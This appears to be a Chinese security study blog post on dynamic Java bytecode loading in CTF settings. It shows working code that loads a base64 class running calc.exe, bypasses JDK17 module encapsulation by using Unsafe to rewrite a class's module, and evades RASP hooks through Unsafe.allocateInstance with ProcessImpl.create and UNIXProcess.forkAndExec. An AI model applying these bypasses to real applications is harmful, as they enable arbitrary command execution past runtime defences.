之前学的,最近在面试,正好复习一下

字节码加载

看个正常ClassLoader.defineCLass()的例子

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
package study;

import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
import java.util.Base64;

public class study1 {
public static void main(String[] args) throws NoSuchMethodException, InvocationTargetException, IllegalAccessException, InstantiationException {
String payload = "yv66vgAAADQAHgoABwARCgASABMIABQKABIAFQcAFgcAFwcAGAEABjxpbml0PgEAAygpVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBAAg8Y2xpbml0PgEADVN0YWNrTWFwVGFibGUHABYBAApTb3VyY2VGaWxlAQAJRXZpbC5qYXZhDAAIAAkHABkMABoAGwEACGNhbGMuZXhlDAAcAB0BABNqYXZhL2xhbmcvRXhjZXB0aW9uAQAERXZpbAEAEGphdmEvbGFuZy9PYmplY3QBABFqYXZhL2xhbmcvUnVudGltZQEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsBAARleGVjAQAnKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7ACEABgAHAAAAAAACAAEACAAJAAEACgAAAB0AAQABAAAABSq3AAGxAAAAAQALAAAABgABAAAAAQAIAAwACQABAAoAAABDAAIAAQAAAA64AAISA7YABFenAARLsQABAAAACQAMAAUAAgALAAAADgADAAAABAAJAAUADQAGAA0AAAAHAAJMBwAOAAABAA8AAAACABA=";
byte[] decode = Base64.getDecoder().decode(payload);

Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", String.class, byte[].class, int.class, int.class);
defineClass.setAccessible(true);
Class evil = (Class) defineClass.invoke(ClassLoader.getSystemClassLoader(), "Evil", decode, 0, decode.length);
evil.newInstance();
}
}

base64的内容:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
package study;

import java.io.*;
import java.util.Base64;

public class base64 {
public static void main(String[] args) throws IOException {

File file=new File("Evil.class");
FileInputStream fileInputStream=new FileInputStream(file);
byte[] content=new byte[(int) file.length()];
fileInputStream.read(content);
System.out.println(Base64.getEncoder().encodeToString(content));
}
}

Evil.class就是正常在静态/初始化类的代码里添加弹出计算器的命令执行,在被实例化的时候会被自动调用

1
2
3
4
5
6
7
public class Evil {
static {
try {
Runtime.getRuntime().exec("calc.exe");
} catch (Exception e) {}
}
}

这里我的jdk版本是1.8._201,是可以弹出计算器的
image.png

但是有时候我们打CTF遇到项目的jdk是jdk17的情况,反射时会报Exception in thread "main" java.lang.reflect.InaccessibleObjectException的报错,比如:
image.png

JDK9JDK16版本之中,Java.*依赖包下所有的非公共字段和方法在进行反射调用的时候,会出现关于非法反射访问的警告,但是在JDK17之后,采用的是强封装,默认情况下不再允许这一类的反射,所有反射访问java.*的非公共字段和方法的代码将抛出InaccessibleObjectException异常。Oracle给的解释是这种反射的使用对JDK安全性可维护性产生了负面影响。

Unsafe绕过

JDK11之前

JDK11之前可以利用Unsafe的defineClass方法来调用并加载非public

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
package study;

import sun.misc.Unsafe;

import java.lang.reflect.Field;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
import java.util.Base64;

public class study1 {
public static void main(String[] args) throws NoSuchMethodException, InvocationTargetException, IllegalAccessException, InstantiationException, NoSuchFieldException {
String payload = "yv66vgAAADQAHgoABwARCgASABMIABQKABIAFQcAFgcAFwcAGAEABjxpbml0PgEAAygpVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBAAg8Y2xpbml0PgEADVN0YWNrTWFwVGFibGUHABYBAApTb3VyY2VGaWxlAQAJRXZpbC5qYXZhDAAIAAkHABkMABoAGwEACGNhbGMuZXhlDAAcAB0BABNqYXZhL2xhbmcvRXhjZXB0aW9uAQAERXZpbAEAEGphdmEvbGFuZy9PYmplY3QBABFqYXZhL2xhbmcvUnVudGltZQEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsBAARleGVjAQAnKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7ACEABgAHAAAAAAACAAEACAAJAAEACgAAAB0AAQABAAAABSq3AAGxAAAAAQALAAAABgABAAAAAQAIAAwACQABAAoAAABDAAIAAQAAAA64AAISA7YABFenAARLsQABAAAACQAMAAUAAgALAAAADgADAAAABAAJAAUADQAGAA0AAAAHAAJMBwAOAAABAA8AAAACABA=";
byte[] decode = Base64.getDecoder().decode(payload);

ClassLoader classLoader=ClassLoader.getSystemClassLoader();
Field theUafeField= Unsafe.class.getDeclaredField("theUnsafe");
theUafeField.setAccessible(true);
Unsafe unsafe= (Unsafe) theUafeField.get(null);
Class<?> c2=unsafe.defineClass("Evil",decode,0,decode.length,classLoader,null);
c2.newInstance();
}
}

JDK11

但是在JDK11的时候,Unsafe.defineClass方法被移除并且默认禁止跨包之间反射调用非公共方法,在JDK11的时候,依旧可以使用defineAnonymousClass来触发,因为defineAnonymousClass没有被删除。
就是把上面的defineClass方法改成defineAnonymousClass方法

1
2
3
4
5
6
7
8
9
public static void main(String[] args) throws Exception {
String payload = "yv66vgAAADQAHgoABwARCgASABMIABQKABIAFQcAFgcAFwcAGAEABjxpbml0PgEAAygpVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBAAg8Y2xpbml0PgEADVN0YWNrTWFwVGFibGUHABYBAApTb3VyY2VGaWxlAQAJRXZpbC5qYXZhDAAIAAkHABkMABoAGwEACGNhbGMuZXhlDAAcAB0BABNqYXZhL2xhbmcvRXhjZXB0aW9uAQAERXZpbAEAEGphdmEvbGFuZy9PYmplY3QBABFqYXZhL2xhbmcvUnVudGltZQEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsBAARleGVjAQAnKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7ACEABgAHAAAAAAACAAEACAAJAAEACgAAAB0AAQABAAAABSq3AAGxAAAAAQALAAAABgABAAAAAQAIAAwACQABAAoAAABDAAIAAQAAAA64AAISA7YABFenAARLsQABAAAACQAMAAUAAgALAAAADgADAAAABAAJAAUADQAGAA0AAAAHAAJMBwAOAAABAA8AAAACABA=";
byte[] decode = Base64.getDecoder().decode(payload);
Field theUafeField=Unsafe.class.getDeclaredField("theUnsafe");
theUafeField.setAccessible(true);
Unsafe unsafe= (Unsafe) theUafeField.get(null);
Class<?> c2=unsafe.defineAnonymousClass(java.lang.Class.forName("java.lang.Class"),decode,null);
c2.newInstance();
}

JDK17

来到JDK17,我看网上的方法是反射修改当前类的module和classloader相同来绕过if判断返回true
我们正常调用报错的信息是:

1
2
3
4
5
6
Exception in thread "main" java.lang.reflect.InaccessibleObjectException: Unable to make protected final java.lang.Class java.lang.ClassLoader.defineClass(java.lang.String,byte[],int,int) throws java.lang.ClassFormatError accessible: module java.base does not "opens java.lang" to unnamed module @404b9385
at java.base/java.lang.reflect.AccessibleObject.checkCanSetAccessible(AccessibleObject.java:354)
at java.base/java.lang.reflect.AccessibleObject.checkCanSetAccessible(AccessibleObject.java:297)
at java.base/java.lang.reflect.Method.checkCanSetAccessible(Method.java:199)
at java.base/java.lang.reflect.Method.setAccessible(Method.java:193)
at study.study1.main(study1.java:13)

这里我们跟进setAccessible方法
image.png

它会调用Reflection.getCallerClass()方法来返回调用者的类的信息,然后跟进checkCanSetAccessible方法,把caller和Classloader作为参数传入
image.png

这里先判断caller== MethodHandle.class,是的话抛出异常
然后分别取callerdeclaringClass的module,判断module是否相等,相等返回true
后面也判断caller的module是否等于object的module(java.base)
后面的判断不分析,我们的目的是改这个exp类的module,让它和Classloader的module(java.base)相等即可

Unsafe类中有个 getAndSetObject 方法,可以更改当前类的偏移量的值
putObject方法也可以代替getAndSetObject方法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
import sun.misc.Unsafe;

import java.lang.reflect.Field;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
import java.util.Base64;

public class study2 {
public static void main(String[] args) throws NoSuchMethodException, InvocationTargetException, IllegalAccessException, ClassNotFoundException, NoSuchFieldException, InstantiationException {
String payload = "yv66vgAAADQAHgoABwARCgASABMIABQKABIAFQcAFgcAFwcAGAEABjxpbml0PgEAAygpVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBAAg8Y2xpbml0PgEADVN0YWNrTWFwVGFibGUHABYBAApTb3VyY2VGaWxlAQAJRXZpbC5qYXZhDAAIAAkHABkMABoAGwEACGNhbGMuZXhlDAAcAB0BABNqYXZhL2xhbmcvRXhjZXB0aW9uAQAERXZpbAEAEGphdmEvbGFuZy9PYmplY3QBABFqYXZhL2xhbmcvUnVudGltZQEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsBAARleGVjAQAnKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7ACEABgAHAAAAAAACAAEACAAJAAEACgAAAB0AAQABAAAABSq3AAGxAAAAAQALAAAABgABAAAAAQAIAAwACQABAAoAAABDAAIAAQAAAA64AAISA7YABFenAARLsQABAAAACQAMAAUAAgALAAAADgADAAAABAAJAAUADQAGAA0AAAAHAAJMBwAOAAABAA8AAAACABA=";
byte[] decode = Base64.getDecoder().decode(payload);
Class<?> unSafe=Class.forName("sun.misc.Unsafe");
Field unSafeField=unSafe.getDeclaredField("theUnsafe");
unSafeField.setAccessible(true);
Unsafe unSafeClass= (Unsafe) unSafeField.get(null);
//获取正确的module,即java.base
Module baseModule=Object.class.getModule();
//获取当前运行类的module,也就是后面caller调用者类study2的module
Class<?> currentClass= study2.class;
//获取module的addr变量
long addr=unSafeClass.objectFieldOffset(Class.class.getDeclaredField("module"));
//修改当前study2类的module的addr为java.base
unSafeClass.getAndSetObject(currentClass,addr,baseModule);
Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", String.class, byte[].class, int.class, int.class);
defineClass.setAccessible(true);
Class<?> calc= (Class<?>) defineClass.invoke(ClassLoader.getSystemClassLoader(), "Evil", decode, 0, decode.length);
calc.newInstance();
}
}

此时可以发现module都为java.base

image.png

但是这里遇到一个坑: 我本地import sun.misc.Unsafe;会报错java: 程序包sun.misc不存在
不知道为啥,我IDEA是可以进入这个包的,然后我本地cmd命令行来java运行class文件,运行是可以绕过的,能弹计算器,所以应该是idea的问题
image.png

然后在网上搜发现都是把项目结构换jdk8的,然后去设置里面瞎点发现了java 编译器的目标字节码版本是默认之前新建项目的jdk8,改成jdk17就可以了
image.png

或者打阿里云CTF遇到过,加jvm options的
原理是通过--add-opens 指令,来向未命名模块(ALL-UNNAMED)打开指定的Java平台模块中的包

这里加载动态字节码,只需要访问java.base模块里的java.lang包打开向未命名模块

1
--add-opens java.base/java.lang=ALL-UNNAMED

阿里云云CTF chain17那题的配置:

1
--add-opens java.base/java.lang=ALL-UNNAMED --add-opens java.base/java.util.concurrent.atomic=ALL-UNNAMED --add-opens java.base/java.lang.reflect=ALL-UNNAMED

也可以正常反射

RASP

原理

RASP全称是Runtime applicaion self-protection,在2014念提出的一种应用程序自我保护技术,将防护功能注入到应用程序之中,通过少量的Hook函数监测程序的运行,根据当前的上下文环境实时阻断攻击事件。

目前Java RASP主要是通过Instrumentation编写Agent的形式,在Agentpremainagentmain中加入检测类一般继承于ClassFileTransformer,当程序运行进来的时候,通过类中的transform检测字节码文件中是否有一些敏感的类文件,比如ProcessImpl等,就会进行字节码转换操作,比如插入返回null的代码,简单的可以理解为通过Instrumentation来对JVM进行实时监控

绕过

RASP主要是通过转换字节码来达到目的,如果设置的检测的方法存在着更底层的方法或者相同层级的不同方法能够达到相同的效果,那么就能完成绕过。

UNIXProcess

比如说Windows通过检测processImpl.start来进行防御,而在LinuxMac系统中,还会存在着UNIXProcess.forkAndExec()能够达到RCE的效果。

allocateInstance

若RASP限制了某些类的构造方法(比如TrAXFilter(加载字节码)、ProcessImpl(Windows命令执行)、UnixProcess(Linux命令执行))

可以用UnsafeallocateInstance方法绕过这个限制
windows:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
import sun.misc.Unsafe;

import java.lang.reflect.Field;
import java.lang.reflect.Method;

public class study1 {
public static void main(String[] args) throws Exception {
Class<?> clazz = Class.forName("sun.misc.Unsafe");
Field field = clazz.getDeclaredField("theUnsafe");
field.setAccessible(true);
Unsafe unsafe = (Unsafe) field.get(null);

Module baseModule = Object.class.getModule();
long addr = unsafe.objectFieldOffset(Class.class.getDeclaredField("module"));
unsafe.getAndSetObject(study1.class, addr, baseModule);

Class<?> processImpl = Class.forName("java.lang.ProcessImpl");
Process process = (Process) unsafe.allocateInstance(processImpl);
Method create = processImpl.getDeclaredMethod("create", String.class, String.class, String.class, long[].class, boolean.class);
create.setAccessible(true);
long[] stdHandles = new long[]{-1L, -1L, -1L};
create.invoke(process, "calc", null, null, stdHandles, false);
}
}

linux:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
String cmd = "whoami";

int[] ineEmpty = {-1, -1, -1};
Class clazz = Class.forName("java.lang.UNIXProcess");
Unsafe unsafe = Utils.getUnsafe();
Object obj = unsafe.allocateInstance(clazz);
Field helperpath = clazz.getDeclaredField("helperpath");
helperpath.setAccessible(true);
Object path = helperpath.get(obj);
byte[] prog = "/bin/bash\u0000".getBytes();
String paramCmd = "-c\u0000" + cmd + "\u0000";
byte[] argBlock = paramCmd.getBytes();
int argc = 2;
Method exec = clazz.getDeclaredMethod("forkAndExec", int.class, byte[].class, byte[].class, byte[].class, int.class, byte[].class, int.class, byte[].class, int[].class, boolean.class);
exec.setAccessible(true);
exec.invoke(obj, 2, path, prog, argBlock, argc, null, 0, null, ineEmpty, false);

Unsafe+forkAndExec

如果RASPUNIXProcess/ProcessImpl类的构造方法给拦截了,依旧可以绕过,可以直接通过触发forkAndExec的形式来绕过,因为无论是UNIXProcessProcessImpl最终触发的方法是forkAndExec

参考